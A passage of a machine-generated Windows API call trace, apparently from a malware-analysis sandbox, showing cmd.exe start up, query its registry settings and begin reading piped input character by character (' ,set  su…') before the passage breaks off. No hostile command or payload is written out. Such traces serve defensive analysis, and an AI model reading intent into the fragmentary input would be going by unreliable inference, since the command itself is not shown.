	[0058.599] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 1
	[0058.599] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.599] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0058.599] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.599] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 0
	[0058.599] GetEnvironmentStringsW () returned 0x29be60*
	[0058.601] FreeEnvironmentStringsW (penv=0x29be60) returned 1
	[0058.602] GetEnvironmentStringsW () returned 0x29be60*
	[0058.603] FreeEnvironmentStringsW (penv=0x29be60) returned 1
	[0058.603] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ce8e8 | out: phkResult=0x1ce8e8*=0x44) returned 0x0
	[0058.603] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ce8e0, lpData=0x1ce900, lpcbData=0x1ce8e4*=0x1000 | out: lpType=0x1ce8e0*=0x0, lpData=0x1ce900*=0x18, lpcbData=0x1ce8e4*=0x1000) returned 0x2
	[0058.604] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ce8e0, lpData=0x1ce900, lpcbData=0x1ce8e4*=0x1000 | out: lpType=0x1ce8e0*=0x4, lpData=0x1ce900*=0x1, lpcbData=0x1ce8e4*=0x4) returned 0x0
	[0058.604] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ce8e0, lpData=0x1ce900, lpcbData=0x1ce8e4*=0x1000 | out: lpType=0x1ce8e0*=0x0, lpData=0x1ce900*=0x1, lpcbData=0x1ce8e4*=0x1000) returned 0x2
	[0058.604] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ce8e0, lpData=0x1ce900, lpcbData=0x1ce8e4*=0x1000 | out: lpType=0x1ce8e0*=0x4, lpData=0x1ce900*=0x0, lpcbData=0x1ce8e4*=0x4) returned 0x0
	[0058.604] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ce8e0, lpData=0x1ce900, lpcbData=0x1ce8e4*=0x1000 | out: lpType=0x1ce8e0*=0x4, lpData=0x1ce900*=0x40, lpcbData=0x1ce8e4*=0x4) returned 0x0
	[0058.604] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ce8e0, lpData=0x1ce900, lpcbData=0x1ce8e4*=0x1000 | out: lpType=0x1ce8e0*=0x4, lpData=0x1ce900*=0x40, lpcbData=0x1ce8e4*=0x4) returned 0x0
	[0058.604] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ce8e0, lpData=0x1ce900, lpcbData=0x1ce8e4*=0x1000 | out: lpType=0x1ce8e0*=0x0, lpData=0x1ce900*=0x40, lpcbData=0x1ce8e4*=0x1000) returned 0x2
	[0058.604] RegCloseKey (hKey=0x44) returned 0x0
	[0058.604] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ce8e8 | out: phkResult=0x1ce8e8*=0x44) returned 0x0
	[0058.604] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ce8e0, lpData=0x1ce900, lpcbData=0x1ce8e4*=0x1000 | out: lpType=0x1ce8e0*=0x0, lpData=0x1ce900*=0x40, lpcbData=0x1ce8e4*=0x1000) returned 0x2
	[0058.604] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ce8e0, lpData=0x1ce900, lpcbData=0x1ce8e4*=0x1000 | out: lpType=0x1ce8e0*=0x4, lpData=0x1ce900*=0x1, lpcbData=0x1ce8e4*=0x4) returned 0x0
	[0058.604] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ce8e0, lpData=0x1ce900, lpcbData=0x1ce8e4*=0x1000 | out: lpType=0x1ce8e0*=0x0, lpData=0x1ce900*=0x1, lpcbData=0x1ce8e4*=0x1000) returned 0x2
	[0058.604] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ce8e0, lpData=0x1ce900, lpcbData=0x1ce8e4*=0x1000 | out: lpType=0x1ce8e0*=0x4, lpData=0x1ce900*=0x0, lpcbData=0x1ce8e4*=0x4) returned 0x0
	[0058.604] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ce8e0, lpData=0x1ce900, lpcbData=0x1ce8e4*=0x1000 | out: lpType=0x1ce8e0*=0x4, lpData=0x1ce900*=0x9, lpcbData=0x1ce8e4*=0x4) returned 0x0
	[0058.604] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ce8e0, lpData=0x1ce900, lpcbData=0x1ce8e4*=0x1000 | out: lpType=0x1ce8e0*=0x4, lpData=0x1ce900*=0x9, lpcbData=0x1ce8e4*=0x4) returned 0x0
	[0058.604] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ce8e0, lpData=0x1ce900, lpcbData=0x1ce8e4*=0x1000 | out: lpType=0x1ce8e0*=0x0, lpData=0x1ce900*=0x9, lpcbData=0x1ce8e4*=0x1000) returned 0x2
	[0058.604] RegCloseKey (hKey=0x44) returned 0x0
	[0058.604] time (in: timer=0x0 | out: timer=0x0) returned 0x5be14a4d
	[0058.604] srand (_Seed=0x5be14a4d) 
	[0058.604] GetCommandLineW () returned="cmd ; "
	[0058.604] GetCommandLineW () returned="cmd ; "
	[0058.604] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0058.605] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1f13e90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0058.605] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0058.605] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0058.605] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0058.605] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0058.605] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0058.605] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0058.605] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0058.605] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0058.605] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0058.605] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0058.605] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0058.605] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0058.605] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0058.605] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1cf6f0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0058.605] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x1cf6f0, lpFilePart=0x1cf6d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x1cf6d0*="Desktop") returned 0x19
	[0058.605] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0058.605] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1cf400 | out: lpFindFileData=0x1cf400) returned 0x1f140a0
	[0058.605] FindClose (in: hFindFile=0x1f140a0 | out: hFindFile=0x1f140a0) returned 1
	[0058.606] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x1cf400 | out: lpFindFileData=0x1cf400) returned 0x1f140a0
	[0058.606] FindClose (in: hFindFile=0x1f140a0 | out: hFindFile=0x1f140a0) returned 1
	[0058.606] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x1cf400 | out: lpFindFileData=0x1cf400) returned 0x1f140a0
	[0058.606] FindClose (in: hFindFile=0x1f140a0 | out: hFindFile=0x1f140a0) returned 1
	[0058.606] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0058.606] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1
	[0058.606] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1
	[0058.606] GetEnvironmentStringsW () returned 0x29be60*
	[0058.606] FreeEnvironmentStringsW (penv=0x29be60) returned 1
	[0058.606] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0058.607] GetConsoleOutputCP () returned 0x1b5
	[0058.607] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0058.607] GetUserDefaultLCID () returned 0x409
	[0058.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e77b50, cchData=8 | out: lpLCData=":") returned 2
	[0058.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1cf800, cchData=128 | out: lpLCData="0") returned 2
	[0058.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1cf800, cchData=128 | out: lpLCData="0") returned 2
	[0058.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1cf800, cchData=128 | out: lpLCData="1") returned 2
	[0058.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e8a740, cchData=8 | out: lpLCData="/") returned 2
	[0058.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e8a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0058.608] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e8a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0058.608] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e8a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0058.608] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e8a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0058.608] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e8a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0058.608] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e8a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0058.608] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e8a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0058.608] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e77b40, cchData=8 | out: lpLCData=".") returned 2
	[0058.608] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e8a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0058.608] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0058.608] GetConsoleTitleW (in: lpConsoleTitle=0x1f14110, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0058.608] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.608] GetFileType (hFile=0x7) returned 0x2
	[0058.609] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.609] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf938 | out: lpMode=0x1cf938) returned 1
	[0058.609] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.609] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x1cf950 | out: lpConsoleScreenBufferInfo=0x1cf950) returned 1
	[0058.609] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.609] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x1cf900 | out: lpConsoleScreenBufferInfo=0x1cf900) returned 1
	[0058.609] FillConsoleOutputAttribute (in: hConsoleOutput=0x7, wAttribute=0x7, nLength=0x5dc0, dwWriteCoord=0x0, lpNumberOfAttrsWritten=0x1cf938 | out: lpNumberOfAttrsWritten=0x1cf938) returned 1
	[0058.610] SetConsoleTextAttribute (hConsoleOutput=0x7, wAttributes=0x7) returned 1
	[0058.628] BrandingFormatString () returned 0x1f14330
	[0058.639] GetVersion () returned 0x1db10106
	[0058.640] _vsnwprintf (in: _Buffer=0x1cf970, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x1cf908 | out: _Buffer="6.1.7601") returned 8
	[0058.640] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.640] GetFileType (hFile=0x7) returned 0x2
	[0058.640] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.640] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf868 | out: lpMode=0x1cf868) returned 1
	[0058.640] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.640] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x1cf8a0 | out: lpConsoleScreenBufferInfo=0x1cf8a0) returned 1
	[0058.640] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49e86340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0058.640] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49e86340, nSize=0x2000, Arguments=0x1cf910 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24
	[0058.641] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0x24, lpNumberOfCharsWritten=0x1cf890, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x1cf890*=0x24) returned 1
	[0058.641] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf938 | out: _Buffer="\r\n") returned 2
	[0058.641] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.641] GetFileType (hFile=0x7) returned 0x2
	[0058.641] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.641] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf8c8 | out: lpMode=0x1cf8c8) returned 1
	[0058.641] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.641] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cf908, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x1cf908*=0x2) returned 1
	[0058.642] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x1cf938 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation.  All rights reserved.") returned 63
	[0058.642] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.642] GetFileType (hFile=0x7) returned 0x2
	[0058.642] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.642] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf8c8 | out: lpMode=0x1cf8c8) returned 1
	[0058.642] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.642] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x1cf908, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x1cf908*=0x3f) returned 1
	[0058.642] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf938 | out: _Buffer="\r\n") returned 2
	[0058.642] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.642] GetFileType (hFile=0x7) returned 0x2
	[0058.642] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.642] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf8c8 | out: lpMode=0x1cf8c8) returned 1
	[0058.643] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.643] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cf908, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x1cf908*=0x2) returned 1
	[0058.643] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0058.643] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0
	[0058.643] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290
	[0058.643] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0
	[0058.643] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.643] GetFileType (hFile=0x58) returned 0x3
	[0058.643] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0058.644] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x1cf760 | out: TokenHandle=0x1cf760*=0x0) returned 0xc000007c
	[0058.644] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1cf760 | out: TokenHandle=0x1cf760*=0x50) returned 0x0
	[0058.644] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x1cf770, TokenInformationLength=0x4, ReturnLength=0x1cf778 | out: TokenInformation=0x1cf770, ReturnLength=0x1cf778) returned 0x0
	[0058.644] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x1cf778, TokenInformationLength=0x4, ReturnLength=0x1cf770 | out: TokenInformation=0x1cf778, ReturnLength=0x1cf770) returned 0x0
	[0058.644] NtClose (Handle=0x50) returned 0x0
	[0058.645] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf478 | out: _Buffer="\r\n") returned 2
	[0058.645] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.645] GetFileType (hFile=0x7) returned 0x2
	[0058.645] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.645] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf408 | out: lpMode=0x1cf408) returned 1
	[0058.645] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.645] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cf448, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x1cf448*=0x2) returned 1
	[0058.645] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0058.645] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0058.646] _vsnwprintf (in: _Buffer=0x49e6eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1cf488 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop") returned 25
	[0058.646] _vsnwprintf (in: _Buffer=0x49e6eb92, _BufferCount=0x3e5, _Format="%c", _ArgList=0x1cf488 | out: _Buffer=">") returned 1
	[0058.646] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.646] GetFileType (hFile=0x7) returned 0x2
	[0058.646] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.646] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf438 | out: lpMode=0x1cf438) returned 1
	[0058.646] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.646] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e6eb60*, nNumberOfCharsToWrite=0x1a, lpNumberOfCharsWritten=0x1cf478, lpReserved=0x0 | out: lpBuffer=0x49e6eb60*, lpNumberOfCharsWritten=0x1cf478*=0x1a) returned 1
	[0058.646] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.646] GetFileType (hFile=0x58) returned 0x3
	[0058.646] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.646] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.646] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.646] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e320, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0058.647] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.647] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.647] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e322, cchWideChar=1 | out: lpWideCharStr=",") returned 1
	[0058.647] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.647] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.647] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e324, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0058.647] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.647] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.647] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0058.647] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.647] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.647] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e328, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0058.647] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.647] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.647] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e32a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0058.647] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.647] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.647] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e32c, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0058.647] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.647] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.647] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e32e, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0058.647] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.648] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.648] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.648] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e330, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0058.648] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.648] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.648] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
